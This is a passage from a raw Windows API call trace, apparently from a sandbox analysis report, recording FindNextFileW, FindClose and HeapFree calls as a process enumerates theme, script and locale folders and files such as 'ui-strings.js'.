ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0183.196] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0183.196] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.196] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1 [0183.196] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0183.196] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 1 [0183.198] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.198] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0183.198] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0183.198] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.199] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0183.199] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0183.199] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0183.199] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 0 [0183.199] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0183.199] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0183.201] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1 [0183.211] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.211] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0183.212] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.212] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0183.218] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.218] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0183.219] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.219] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0183.220] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.220] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0183.221] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.221] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0183.222] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.222] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0183.223] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.223] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0183.223] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.223] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0183.224] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.224] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0183.225] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.225] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0183.226] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.226] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0183.227] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.227] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0183.228] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.228] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0183.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.229] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0183.230] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.230] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0183.231] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.231] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0183.231] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.231] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0183.232] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.232] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0183.232] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.232] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0183.233] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.233] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0183.233] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.233] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0183.234] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.234] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0183.235] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.235] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0183.235] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.235] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0183.235] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.235] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0183.236] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.236] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0183.237] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.237] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0183.238] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.238] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0183.238] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.238] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0183.238] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.239] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0183.239] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.239] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0183.239] HeapFree (in: hHeap=0x710000, dwFlags=0x0, 